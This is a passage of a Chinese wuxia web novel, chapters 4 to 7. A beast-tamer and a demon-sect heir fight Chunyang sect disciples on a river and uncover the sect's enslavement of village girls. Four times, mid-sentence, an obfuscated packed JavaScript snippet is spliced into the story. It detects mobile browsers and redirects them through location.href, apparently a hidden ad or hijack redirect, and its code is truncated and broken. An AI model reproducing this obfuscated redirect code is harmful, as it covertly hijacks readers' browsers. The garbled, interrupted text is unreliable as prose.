连舟雪转头,她从前鲜少跟人打交道。“你是不是故意的?”连舟雪问还背对着自己在搞咸鱼的应休惊。 应休惊:“什么故意?” “你知道他们脑子有问题,听不懂人话,你故意避开。”连舟雪只能想到这一种可能,毕竟刚才她让应休惊去躲起来,这人分明一身伤,却根本不怕,还嚣张地说出什么“只有狗躲人,没有人躲狗”的话。但在意识到对方没有认出来他后,这人反而转过身。 正在晾咸鱼的应休惊:“……” 他用着一种难以言喻的眼神看了连舟雪一眼。 连舟雪还在等着应休惊的回答,就在这时候,她耳边忽然传来“咻”的一声。 连舟雪跟应休惊具是一侧身,只听得“咚”的一声,有什么东西从隔壁那艘大船上飞过来,落在了他们脚下。 低头,连舟雪发现是一截寻常剑鞘。 “喂!给你们说话呢!在嘀咕什么?还不赶紧把你们抓的鱼送过来?”甲板上的人似乎已经等得不耐烦,走到船边,竟然二话不说,直接飞身掠过来,落在了连舟雪她们这艘小船上。对方见自己刚才扔出去的剑鞘没有砸中两人,他脸上似乎露出一抹失落的神色,“啧,看来躲得还挺快嘛!” “不卖,刚才不是说了吗?”连舟雪这一次是真皱眉,她想不到原来有人这么霸道,简直完全不讲道理。 来人闻言,目光落在她脸上,停留住。 “原来还是个泼辣的小美人儿啊,看起来清秀乖巧,没想到还是个烈性子,我喜——” 那人原是想说“我喜欢”的,但最后这三个字还没讲出来,忽然眼前罩下来一道阴影,与此同时,他脸上像是被什么结结实实地打了一巴掌。 很快,对方就闻到了一股鱼腥味,他这才反应过来自己刚才是被一条死鱼打了一巴掌。 也不知道是不是巧合,那鱼嘴还很是微妙地堵住了他的嘴。 “呸呸呸!”那人只觉得自己现在嘴里都是一股恶心的鱼腥味,还有什么不知名的咸得不行的酱料,吐了两口后,抬头看向刚才出手没有一点躲藏的应休惊,手中的长剑就朝着后者刺去,“你小子找死!” 对面那些纯阳派的弟子纷纷聚集在甲板上,饶有兴趣地看着小船上发生的一切,甚至还在拍手叫好。 “李师兄,那小子刚才是用的左手扔的鱼,你快把他的左手剁下来,扔去河里喂鱼!” “小娘子长得是有几分容貌,先抓过来,让大师兄看看,这般劲儿劲儿的小娘子,咱们这一路上可没有遇见过,必须得多陪我们师兄弟几个玩玩!” “打死他打死他……” 连舟雪听着耳边传来谩骂和粗鄙调戏的言语,她伸手凝聚内力,顿时先前才被应休惊收拾好,但还没有来得及洗涮的碗筷,倏然朝着对面大船甲板上的一群起哄的人脸上砸去。 大约那些在甲板上看热闹的人压根就没想过一个小小的渔娘竟然还有这般本事,对连舟雪没有一点防备,那些碗筷将这些人砸了个正着。 更要命的是,碗筷都还没洗涮,那些人被砸了个头破血流不说,还有残羹冷炙挂了一身。 这对于纯阳派的弟子来说,简直就是一次羞辱。 “贱人!找死!” 最先反应过来的纯阳派弟子暴怒一声,一脚蹬上甲板旁的护栏,持剑就要冲来。 应休惊这头已经解决了刚才跳过来的纯阳派弟子,他甚至都没抽出腰间的软剑,只是随手拿着刚才敲晕胖头鱼的木杵,把人敲了个满头包。现如今,那人跟先前被应休惊挂起来的咸鱼也没什么两样。 在食肆时,应休惊已经对连舟雪的身手有些了解,也明知道眼下这些纯阳派的几个弟子其实拿她根本没奈何,但他还是站在了连舟雪前面。 他说过,一命还一命。 但应休惊还没来得及跟纯阳派旁的弟子交手,或者说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107311|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那叫嚣着让连舟雪受死的纯阳派的弟子根本就没能从对面的大船上跃至小船,耳边已经先响起一阵哨声。 这哨声调子格外古怪,霎那间,两艘船上的人都感到河底的不平静。 下一刻,纯阳派的弟子中不知是谁发出一声惊呼—— “那是什么!” 顺着对方手指的方向,两船上的人都看见了距离他们不远处,河面上形成了一个肉眼可见的漩涡。 湍急的河流中间出现水旋涡,谁知道靠近后会发生什么。 几乎在这瞬间,不论是应休惊还是对面大船上的纯阳派的弟子们,都纷纷驱动着船只远离旋涡。 连舟雪租赁的这艘船只算中型船,自身重量有限,应休惊驱动内力推动船只时,勉强还算迅速,但对面的人可就没有这么好运。 吃水较深的大船本身重量就很沉,再加上那水旋涡像是在追着纯阳派的大船跑一般,很快漩涡的边缘就靠近了大船。 一时间,纯阳派的大船摇晃地得厉害。 哨声已经停下来,但是那水旋涡却没有停。 应休惊回头,正好看见身后的人刚将骨哨放回去。 很明显,不论是刚才出现的哨声,还是好似凭空出现的水旋涡,都出自连舟雪之手。 应休惊听过,驭兽师能驱动世间动物,在刚才的漩涡下面,他似乎有看见鱼群。 这些鱼群应该是听从刚才连舟雪骨哨声差遣,在水底卷起来一起小小的风暴,在水面形成漩涡。 应休惊还没有说什么,连舟雪已经对上他的目光。 “你不要命了?”连舟雪直接问,语气里带着隐隐的不满。 刚才应休惊想要挡在自己面前,就他现在这身子,都还没大好,还真是不把自己的命当做命。 应休惊:“死不了。” 他话音刚落,就感觉到有什么东西落进了自己怀中。 低头一看,应休惊才发现竟然是一装着药丸的瓶子。 “里面是调息丸,有助于你恢复内伤。先前就一身伤还下河里,赶紧吃了,若是受凉发热,你让我上哪儿给你找医师?”连舟雪没好气说,“去船舱。” 拿着药瓶的应休惊站在原地,神色有那么一瞬间的怔忪。 他都说了一命还一命,现在难道不应该让他成为马前卒吗?毕竟,物尽其用,趁着他还有力气,能有几分利用价值。 “还不去?”连舟雪不知应休惊所想,只见他没动,皱眉瞪他。 应休惊这才转身,转身的那瞬间,他神色复杂。 手中的药瓶似乎带上了滚烫的温度,让他快差点握不住。 等到应休惊的身影消失在船舱时,对面原本还在被人伺候饮酒的胡文终于出现在甲板上。 纯阳派在江湖上也算是有些名声,身为纯阳派大师兄,他比旁人多了几分阅历,一眼便看出来眼下遭遇到的水旋涡都是人为。 胡文勉力稳住船身,没能让船身彻底被吸卷进漩涡中,“这怎么回事?!”他一把拉过身边的同门,厉声问。 “回,回禀大师兄,我们也不知道,就听到一阵古怪的声音后,就,就成现在这模样……一定是对面的那邪魔歪道作祟!大师兄,他们有问题!而且,而且李师兄都还在他们船上!” 胡文丢开人,他的目光很快落在对面小船甲板上站着的连舟雪身上。 若是没发生眼下这种怪事,胡文说不定还真会将连舟雪当做寻常百姓家的姑娘。但如今,他不得不认真审视起那脸上看起来没有太多表情,抱着一把伞的船上女子。 5. 第 5 章 “敢问姑娘可否收手?”胡文压着心头的怒火,看着连舟雪问。 若不是因为现在他需得在船上稳固着这艘大船,不然,就凭着此刻心中的恼意,定然是要将对面船上的妖女抓过来,好生拷问一番。 敢跟他们纯阳派的人作对,当真是不想要命了。 如今受制于人,哪怕此刻胡文嘴上说着软话,但心头怒气只增不减。 他何时要对一个女人低声下气? 连舟雪看了眼水旋涡,她在停了骨哨后,水旋涡的威力就没那么大了。何况,先前她驱使着鱼群朝纯阳派的大船靠近时,也没有真正将一整艘船都吸卷进去。不然,现在她看见的应该是一船人跟下饺子似的,都在河里挣扎,哪里还能稳稳当当地站在船上? “这事好说。”连舟雪点头,算是间接承认了眼下的动静就是自己一手弄出来,“让先前几人,道歉。” 胡文在船舱里,根本不知道之前发生了什么。他眼神朝着人群中一扫,立马有人告知他之前的事。 胡文皱眉,在他看来,他们纯阳派的弟子做得就没错。 这世道混乱,一般本地的官府都没了什么用。乱世中,谁的拳头硬,谁就是道理。 在纯阳派开山建派的地界,周围的百姓几乎都以纯阳派为尊。 别说买鱼,百姓要是捕到新鲜的河鱼,那不都要先孝敬他们纯阳派? 他师弟们都已经提出花银子买鱼,分明就是对面的人不知好歹。 “还不快滚去给这位姑娘道歉?!”胡文知道眼下不是跟对面的人谈条件,为了对抗旋涡,他其实已经被牵制住。现在若是收手,胡文也不知道等会儿要面对的是不是葬身鱼腹。 被他这般一呵斥,先前那几个在甲板上起哄的纯阳派的弟子,不得不涨红了一张脸,跟连舟雪道歉。 “抱歉。” 连舟雪在小船上,干脆拉了一把椅子过来坐下,抱着伞,“什么?我没听见。” 那几个纯阳派的弟子脸色变得更红,眼中的羞愤几乎快掩饰不住。 “你们都没吃饭吗?!”胡文不由暗骂这几个废物,道歉这种事都办不好。 被自家大师兄训斥,几人只好重新大声道歉。 “对不住姑娘,是我们错了。” “错哪儿?”连舟雪问。 几人面面相觑,最后倒是在连舟雪身后的那个从一开始就被应休惊给“晾”起来的姓李的弟子大喊,“既然姑娘和刚才的公子不想卖鱼,我们,我们就应该离开,不该打搅了姑娘和公子的清净。我们错了,对不住。” 连舟雪似乎觉得这话还算是能入耳,点了点头。 在对面甲板上站着的几人顿时松了一口气。 胡文见状,咬了咬牙后,努力挤出一个笑容,“姑娘,那现在既然误会也解除了,可否高抬贵手?” 连舟雪诧异道:“我不是已经放过你们了吗?” 胡文看着还在船下的水旋涡,并没有离他们远去,这算是哪门子的放过? “姑娘可别说笑,这旋涡还在,还请姑娘收了神通。”胡文脖子上的青筋在此刻都忍不住暴起。 连舟雪:“难道你们没有觉得这旋涡的威力在变小吗?” 胡文:“……” 他当然能感觉到,但是他要的是旋涡消失,而不是还要耗费内力去抵抗旋涡的拉力。 “姑娘说笑了,还请高抬贵手。” 连舟雪皱了一下眉头,她怀疑这纯阳派在“听不懂人话”这一方面是有些传承的,自上而下,好像一个个都不太能听懂她的话。 好似觉得恼人,连舟雪从椅子上站起来,将胡文一干纯阳派的人撂外面,就走进了船舱。 “姑娘!” 连舟雪没理会。 她先前就算过,水旋涡只靠近了纯阳派的船的边缘,只要船上的人竭尽全力,是肯定不会伤及任何一人的性命。 连舟雪敲了敲舱门,听到里面人的回应声后,她才推开舱门走进去。 刚进去,连舟雪就闻到了一股浓郁的血腥味。 她抬头时,看到坐在桌前只穿着一件单衣的应休惊,后者腰间的带子就只松松垮垮仓促系上,露出了脖颈下的一方肌肤。 有些意外的白净。 连舟雪视线落在桌上已经染了血的纱布上,“伤口裂开了?” 应休惊:“……嗯。” “没上药吗?”连舟雪动了动鼻翼,只闻到了血腥气,却没有闻到膏药的味道。 “不用,一点小伤而已。”应休惊说。 连舟雪从腰间拿出一瓶膏药,“这是金疮药,你先用。还有,床上有干净的换洗的衣服,也许不会太合身,你先换一身。” 那是她让店小二出去租船时,顺带买的两套男装。原本想着出门在外,可能扮做男子会更方便些,没想到现在倒是在这里派上了用场。 应休惊闻言,抬头看向连舟雪,再一次重复自己之前的话:“不用。” 连舟雪:“?”她不解,“你外伤不少吧?还有,你衣服都已经破成这样,你还跟我说不用?” 应休惊态度看起来挺坚决,“除了我欠你一命,你不欠我。” 言外之意,连舟雪也没有必要给他送金疮药。何况,此前他已经收了一瓶治内伤的药。 连舟雪没觉得太惊讶,从前她驯服白虎那样的凶兽时,最开始这些凶兽们对她也是警惕排斥的,但她娘曾说过,这世间最好的驯兽师,没有驯服不了的凶兽。眼前这还是人,可比没有灵智的凶兽亲和太多,应休惊此刻的冷脸和排斥,连舟雪没放在心上。 站起身,连舟雪直接伸手就按在了应休惊的肩头,拉下他肩头的衣服。 这一动作,太快,而坐在凳子上的应休惊显然也没有想到连舟雪会有这般举动。 “你做什么?!”应休惊在衣服被拉下肩头的那瞬间,就已经反应过来,他反手想推开身边的人,拉起自己的衣服,但奈何连舟雪暗暗用力,他的反抗顿时看起来没一点作用。 连舟雪另一只手已经打开了金疮药药瓶,对着应休惊身后还有肩头狰狞的伤口就抖了下去。 听到耳边传来的暴喝声,连舟雪的回答声听起来四平八稳。 “上药。” 应休惊:“……!” 他又急又羞,这辈子就算是经历了再多的事,也没有什么时候像是现在这般被女子如此强硬又强势对待。 “你耳朵好像红了。”连舟雪说。 应休惊:“……” 他一时间竟然有些气得不知道该说什么好,若不是受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107312|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不相信自己还在一个女子手中讨不到好。 片刻后,应休惊忍不住道:“你知不知道你是女子?” 连舟雪已经将他衣服拉扯了起来,听到这话后,看都没多看跟前的人一眼,“那又如何?” “男女有别。”应休惊几乎是咬着牙开口。 哪怕先前被那么多人追杀,他也没觉得有现在这般恼火。 连舟雪走到床榻跟前,直接将上面摆放得整齐的一套粗布麻衣扔到应休惊怀中,“受伤就好好养伤,既要同行,就别拖后腿。” 应休惊被这话噎住,一时间也不再反驳。 “不过,外面那群纯阳派的人是瞎子吗?要杀你,居然连你都不认识?”连舟雪有些好奇问。 要是她的话,就算是只见过眼前这人一次,也很难忘记。 哪怕是现在这般境况,应休惊好似落魄,但那张脸,实在是令人记忆深刻。 也不知道是不是刚才被“折辱”过,应休惊也没有再抗拒,将连舟雪扔来的那套衣服,很快换上。 有些短,但到底是比他先前那身衣服看起来好多了。 “他们不也没认出你这个连家的人吗?”应休惊说。 连舟雪:“那不一样。”她并不意外应休惊能猜到自己身份,“我们连家庄的人原本也不在江湖中行走,不认识才是正常的。但你不是魔教少主吗?” “我从前也不是什么魔教少主。”应休惊说。 连舟雪眼里露出几分茫然。 这件事情在江湖上原本也不是什么秘密,只不过世人大多以为他从小生活在魔教,只是最近魔教才让他这位“少主”出门活动历练。 只有他自己知道,他从前从未在魔教中生活过。 所以这江湖上不认识他的人多了去,当初若不是因为有将军府派出来的杀手追杀他,纯阳派的废物也不会将他认出来。 连舟雪自知跟眼前的人相识时间太短,不便多问,很自觉地停下追问。 她听到外面的动静似乎小了很多,估摸着纯阳派的人应该已经解决了麻烦。 “我先出去看看。”连舟雪说。 她本意是让应休惊继续在船舱待着,但很显然,后者没那个意思。 连舟雪跟应休惊一同出来后,果然,就看到对面纯阳派船边的水旋涡已经不见,不过对方还没离开。 毕竟,在他们船上,被应休惊都还晾着一号人。 胡文见连舟雪跟她身边的男子都出来后,拱了拱手,“我师弟先前对姑娘多有冲撞,现如今,可否请姑娘把人归还?日后,我定然会好生教导他们,不让他们在外面惹是生非。” 连舟雪看向应休惊,这人又不是她绑的,放不放人也不是看自己。 “留个饭桶在船上白吃白喝这种亏本买卖,没必要。”应休惊说。 连舟雪:“……” 在场的都是习武之人,应休惊本来也没有压着声音,自然是被周围的人听了个清楚。 连舟雪觉得对面纯阳派的人脸色好像都黑了一层。 她不□□上浇油,示意纯阳派的人可以过来把人带走。 胡文指派了两人去对面的船上后,看向连舟雪同应休惊,随口客套:“今日也算是相识一场,不如二位一起来喝一杯?” 6. 第 6 章 “好啊。”连舟雪应下。 “既然这样,那就下次再……”胡文这话刚出口,才猛然反应过来刚才自己客套的提议没有被人拒绝,他差点没咬住自己的舌头,堪堪转了个弯,“咳咳,那二位请上船?” 胡文摸不清连舟雪这话究竟是什么意思,只能硬着头皮邀约。 纯阳派的这艘船大很多,行驶起来也平稳很多,坐在会客厅的船舱里,连舟雪进门时扫了一眼,很快收回目光。 随后很快就有年轻的女子前来奉酒,连舟雪有些意外挑眉。 “二位,今日之事多有得罪,还请二位饮下这杯酒,此前的恩怨一笔勾销。”胡文坐在主位,举杯道。 连舟雪一饮而尽。 “对了,还不知道二位怎么称呼?我乃纯阳派掌门坐下的大弟子胡文,奉师父命先前寻魔教少主应休惊,为我师弟报仇。”胡文主动开口介绍自己的身份,看着连舟雪和应休惊说。 他怀疑这二人就是靠近关外的江湖人,这才不认得他们纯阳派的标志。不然,一般武林正道怎么可能跟他们作对? 奈何现在胡文做了一番自我介绍后,连舟雪和应休惊的神色看起来都没什么变化。 应休惊完全像是没听见一般,面无表情。 连舟雪看起来倒是好说话很多,“我兄妹二人也是初入江湖,正准备南下。听闻中原的江南最是好风光,我们想去看看。我兄长名唤郝大胆,我唤郝小雪。” 原本坐在连舟雪旁边神情跟一潭死水似的应休惊,在听见连舟雪给自己安排的名字时,脸色没绷住,一点一点龟裂开来。 他咬了咬牙,转头盯着连舟雪。 奈何身边的人像是没注意到他这一处传来的目光似的,压根就没有片头,更是没有看见他此刻眼中带着明显的质问的目光。 胡文在听见二人的名字时,眼中也出现了一瞬的愕然。 连舟雪:“从前我听说纯阳派内没有女弟子,现在看来,传闻也不太准确?” 胡文在见到连舟雪看着旁边伺候的婢女,不由笑着道:“郝姑娘说笑了,这些人,的确不是我纯阳派的弟子。不过是伺候的下人而已,来我纯阳派寻求庇护,所幸就留了下来。” 连舟雪目露了然,“我还以为就只有那些达官显贵喜欢用下人,没想到中原武林的门派,竟然也有了这样的派头。” 胡文原本还有些得意,毕竟也不是所有的武林门派都能拥有这样的“体面”,没点实力,当地的百姓根本就不会求到他们山门口。可是现在连舟雪的这番话,胡文总觉得对方言辞之间都带着几分讥诮。 但现在他抬头看向连舟雪,后者脸上根本看不出来任何讥讽的神情。 胡文不由觉得是自己想太多。 喝了一杯酒,连舟雪跟应休惊也告辞。 离开之前,连舟雪好奇朝着在胡文身边的矮几上看了眼。 后者在注意到她的目光后,也不藏私,笑着说:“哦对了,这是那魔教少主的画像,听你们方才的话,应该是初入中原,要是遇见这魔头,小心为上。” 说着这话,胡文将画像递给连舟雪。 回到自己的船上后,连舟雪终于没忍住,笑出了声。 而跟在她身后的应休惊,脸上的脸色看起来一言难尽。 他早就知道世人喜爱以讹传讹,只是轮到自己的时候,他在看见画像的那瞬间,还是有一种哭笑不得的感觉。 那做画的人就差没替他安上三头六臂。 “其实这不也挺好吗?”连舟雪笑完后,回头看着他说:“至少你不用时时刻刻担心被人认出来追杀。” 应休惊冷冷哼笑一声,这还真是很别致的安慰,他是不是还要谢谢她? “你又要做什么?”应休惊看见连舟雪这时候将头发全都扎了起来,还在船舱里换了一身夜行衣出来,他皱眉看着对方,不知道她又打算做什么。 连舟雪:“你不是说你身上的符纸是从纯阳派的人身上找到的吗?我总要去探个究竟。” 刚才顺应胡文的邀约上船,她已经摸清楚了船上大致的布防和地形。 要是明着问的话,难免打草惊蛇。 “而且……”连舟雪顿了顿,又重新咽回了嗓子眼里的话。 她觉得纯阳派不是什么好东西。 先前在船舱里,胡文没感觉错,她那句话就是讥讽。什么时候江湖武林门派,还兴起用丫鬟?还是那么一个个年轻漂亮的丫鬟?还把用良家子说得那么冠冕堂皇。 只不过现在她没有切实的证据。 “我随你去。”应休惊没问连舟雪而且什么的,但他像是看出来连舟雪的拒绝,“你去找符纸,我去找婢女。” 连舟雪的确是想拒绝,但不得不承认应休惊的安排最妥当。 两人一前一后下了水。 连舟雪的水性一般,但在晚上也够用。 追上纯阳派的大船后,两人从河里冒出头,随后轻手轻脚上了船。 客舱在船尾附近,掐着船上轮换的时间,连舟雪进了第一间房。 她先前应邀上船的时候,连舟雪就发现就只有这间屋子门口站着两人把守。显然,这间房应该是那位纯阳派大师兄胡文的房间。 连舟雪一进来后,鼻子里刚吸进一点空气,就忍不住屏住了呼吸。 这房间里的香味太浓郁,她感觉自己鼻子都快要坏掉。 这时候太阳已经落山,光线昏暗,连舟雪刚准备拿出夜明珠四下找找看,却忽然转头,目光警惕地看向被幔帐遮挡的床榻。 她进门之前,还听见船上纯阳派的弟子说胡文还在前厅,似乎在惩戒今日跟她道歉的几名弟子,说是那几人丢了纯阳派的脸面。 所以,这时候在床上的人应该不是胡文。 难道是她走错了房间? 连舟雪不由心里有些纳闷,但来都来了,她倒是要看看是谁在后面装神弄鬼。 在一把来开幔帐的那瞬间,连舟雪已经反手握住了身后剑伞的伞柄,但后一秒,她耳边就落下来一阵极低的呜咽声。 床上的确有人。 但人却是被绑住,的确不是胡文,看起来是一名寻常女子。 连舟雪握住伞柄的那只手,不由渐渐放松下来。 外面不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107313|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候已经升起了一轮银月,清冷的月光照射在河面上,似乎也反射到了船舱内。借着这一抹月色,连舟雪跟床上的女子的目光对上。 后者大约是没想到这时候进来的人竟然是一名陌生女子,那双红彤彤的眼睛里顿时蔓延上一层水雾。 她张着嘴,却说不出来话,只能发出不甚明显的呜咽声。 连舟雪一眼看出来对方是被人点了哑穴,“我解开你的哑穴,但你不能叫喊,行吗?行的话就眨眨眼。” 床上被绑住的女子拼命眨了眨眼睛。 连舟雪出手,在她胸口上方点了两下,后者顿时吐出一口气来。 “多,多谢姑娘。” 连舟雪解开对方哑穴后,同时也解开了对方身上的绳索,她皱眉:“你是谁?怎么会在这里?还被人绑在床上?” 不是她多想,而是现在在床上的这名女子身上就只穿着一层暴露至极的红色纱衣,就连里面的鸳鸯肚兜都若隐若现,看起来并不像是自愿这般。 连舟雪不问这话还好,一问出这话,红纱衣的女子顿时就掉了泪。 她不敢大声哭出声,就只能默默掉泪。 “我,我是谭家村的谭巧儿,家乡闹饥荒,爷娘食不果腹,有武林门派的人路过我们村子,说可以收了我们这些姑娘去做奴婢。虽然我爷娘不忍心,但是,但是若是我不去做奴婢的话,可能就要被饿死。所以,所以村子里好几个跟我一般大的姑娘都被卖了过来。但是,但是我不知道过来后,做奴婢还要,还要伺候,伺候男人……” 连舟雪听到这儿,还有什么不明白的? 纯阳派嘴上说着好心收留那些村里的年轻姑娘,让她们在门派里做点端茶倒水的事儿,实际上在暗地里却做些见不得人的勾当。 像是眼下这样。 “姑娘,姑娘,求求你,带我走吧,我不想在这里,我害怕。”谭巧儿拽住了连舟雪的衣服,又不敢用力,仰着脸看着她,眼底尽是祈求和依赖。 连舟雪握紧了拳头。 整个船上,纯阳派的弟子不少。 而现在,她的“同谋”也就只有应休惊。 甚至,这个同谋,自己都还身负重伤,都算不上一个,只能算半个。 她一个人能挡得住这么多纯阳派的弟子吗? 连舟雪不敢托大。 她出门前,她父亲告诫过她,此番下山只需要去尤家打听她长姐的下落,其余的事,一概不要多管,不要横生事端。 她们连家庄,从来都不理会江湖事。 可若是就这么丢下身边的女子…… “你先起来。”连舟雪松开手,反手就先握住谭巧儿的手腕,将人从床上拉了起来。 她走到床边的柜子跟前,打开,果然,里面是一套套的男装。 连舟雪先让谭巧儿换一身衣服,她穿成这般模样,就算是想要带着她离开,也不方便。 连舟雪曲起小拇指,放在自己嘴边,发出一阵鸟鸣声。 没一会儿,连舟雪就听见外面有一阵嘈杂声。 下一刻,房间的门就被人从外面打开,一道身影飞快掠了进来。 7. 第 7 章 谭巧儿换好衣服一转过身,就看见一道年轻男子的身影靠近。 她还没有惊呼出声,就听见耳边先一步落下来连舟雪的声音。 “别怕,他跟我是一道过来的。”连舟雪说。 刚才的鸟叫声,是她跟应休惊在之前就约好的信号。 “你这边……什么情况?”应休惊在看见谭巧儿时,目光也只是在后者身上停留了一瞬,很快离开。 连舟雪三言两语大致解释了一遍,然后道:“我们得把人带走。” 她说完这话后,应休惊没有立即给出反应。 连舟雪看着他。 “可能不行。”应休惊说,他抿唇,“在船舱下面,一般放货物的地方,还有人。” 连舟雪几乎是立马反应过来应休惊说的这句“有人”,恐怕也是跟谭巧儿一样的被骗过来的年轻姑娘。 “都是女子吗?” “嗯。” 应休惊回答完后,揉了揉眉心,“你现在要是带走一个人的话,不被发现的几率的确很大。但是在舱底的那些人,恐怕就没有离开的机会。” 现在将谭巧儿带走,势必会打草惊蛇。 哪怕纯阳派的人不知道背后的人是她们,但肯定会对剩余的那些女子加强防范,想要再把人救出来的话,可就难了。 连舟雪没想到这船上还有人,她脸色难看。 谭巧儿在一旁也听见了应休惊跟连舟雪的对话,她很害怕,但是现在让她说出先带着自己离开的话她又说不出口。 “你们说的在船舱下面关着的人,应该都是之前想反抗他们,不听话的。被关在下面,不给饭和水,饿上几天几夜,当做是惩罚。”谭巧儿在犹豫片刻后,小声道。 连舟雪脸上出现一抹厌恶,“真是畜生!”她说完这话后,就看向应休惊。 应休惊对上她的目光,眼眸中的神色还算是平静,“你想救她们?” 连舟雪:“总不能明知道她们被困在这里,什么都不做吧?” 应休惊:“你出门之前,家里没有交代过什么吗?” 像是连舟雪这样的年纪,恐怕如今也是第一次出远门,也算是初入江湖。 如今的乱世,一个小姑娘,在外面能独善其身已是很不容易。若是要多管闲事的话,多半是落不到什么好的。 何况还像是连家这样多年来只在江湖上有些许传说的避世世家,恐怕她在旁人面前亮出身份,也没几个人相信。 在这种情况下,连家的长辈不可能让自家晚辈出门在外多管闲事。 连舟雪抿了一下唇,“你问那么多做什么?” 应休惊看了她一眼,最终还是没多说什么。“想要将所有人平安带出去,只有一个办法。” “什么?” “控制这艘船。”应休惊道。 若是让十多名女子跟着他们一块儿下水,下面河流湍急,且不说里面会不会有不通水性的,就说万一有人遇见危险,他们一共就只有两人,很容易顾此失彼。而且动静太大,纯阳派的人在船上,他们在水里,处于不利地位的人始终是他们。 最稳妥的办法,就是掌控这艘船的主动权。 不过即便如此,这不是一件容易的事。 应休惊说完这话后,又给连舟雪报了个数字。 “四十二人。”应休惊说,“在这艘船上,纯阳派的弟子一共有四十二人。” 应休惊说完这个数字后,一直盯着连舟雪的眼睛。 若是连舟雪眼里出现一瞬间的犹疑,他也并不会觉得这有什么不对。 在面对车轮战的时候,吃亏的的确是他们。 何况,负担起自己这条命就已经实属不易,连舟雪本来也没有义务要去背负甚至都没有见过一面的陌生人的性命。 连舟雪在经过了最初的茫然和不确定后,心里已经平静下来。 既然是要做,那就先别管自己能不能做到。 “我负责三十,你十二,可以吗?”连舟雪抬头问。 应休惊掀了掀眼皮,像是睨了她一眼,没对她这人数安排表态,而是再三确认:“考虑清楚了吗?” 连舟雪动了动脖子,又捏了捏指骨,发出一阵关节被扭动的“咔咔”声。 “不然呢?” “家里长辈的叮嘱忘了?” “暂时忘记一下,也很正常吧,回头再想?”连舟雪试探着说。 她觉得自己想的这个理由很是充分,这世上哪里会真的有人时时刻刻将警告记在脑中呢? 应休惊在听到这句回答时,一时间脸上的神色变得很复杂。 “这种时候规定什么人头数?不如比一比。” 应休惊很快收敛起眼底的情绪,在说完这话的时候,耳朵一动,身体已经急速朝着门口掠去。 外面现在正好有一巡逻小队经过,眨眼间,在月色下,银光骤闪,三人的巡逻小队顿时躺在了地上。 连舟雪暗骂一声应休惊不要命,但不得不先安顿好谭巧儿,这才持伞而出。 应休惊刚才的那番动静已经吸引了船上纯阳派弟子的注意,连舟雪出去时,正好撞见胡文带人赶来。 “又是你们!”胡文在看清楚闯入自家地盘的人是谁后,脸上出现一抹恼怒。“不知郝姑娘和郝公子如此一而再再而三地挑衅我纯阳派,究竟为何?既然你们如此不识好歹,那就休要怪我们不客气!” 说完这话,胡文手一抬,在他身边的那些纯阳派的弟子顿时朝连舟雪和应休惊两人包抄而来。 连舟雪撑开伞,玄色的剑伞外是坚硬的玄铁打造,不论是防御还是进攻,都称得上是一件上乘兵器。 “挑衅?你们纯阳派私下里干的那些勾当,还当真是以为可以瞒天过海吗?” 连舟雪说完这话,已经执伞插入人群中。 “一帮畜生。” 最后这句话,连舟雪握着伞柄倏然旋转,伞边似变得格外锋利,当场切开了最前面三人的咽喉。 鲜血喷溅而出,连舟雪再一次调转伞面,挡住了从右斜方落下来的一柄钢刀。 “臭丫头,多管闲事,口气还不小,那就让老子来会会你!”胡文拎起两把重锤,趁着连舟雪在被牵制时,朝她下盘横扫而来。 铁锤看起来比连舟雪的脑袋都还大,轻轻一挥舞,空气里都能想起令人心悸的呼啸声。 连舟雪一手执伞,一手飞快握住伞柄下方,抽出一把薄剑。她扬伞,另一只手快速扫过眼前人的胸口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107314|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >握剑的左手在刚才那人的胸口割开一个血洞。 后者大约是没想到连舟雪手中这把伞竟然能如此变化多端,瞪大了眼睛。 连舟雪左手执剑没有停留,在半空中抡了个整圆,腰身一扭。一手撑着伞面正对上胡文的双锤,一手薄剑带着强劲的内力横扫身后围攻的纯阳派弟子。 “咚——” 重锤撞击着伞面后,发出巨大声响。 连舟雪后退两步,感觉到心头间一时血气上涌。 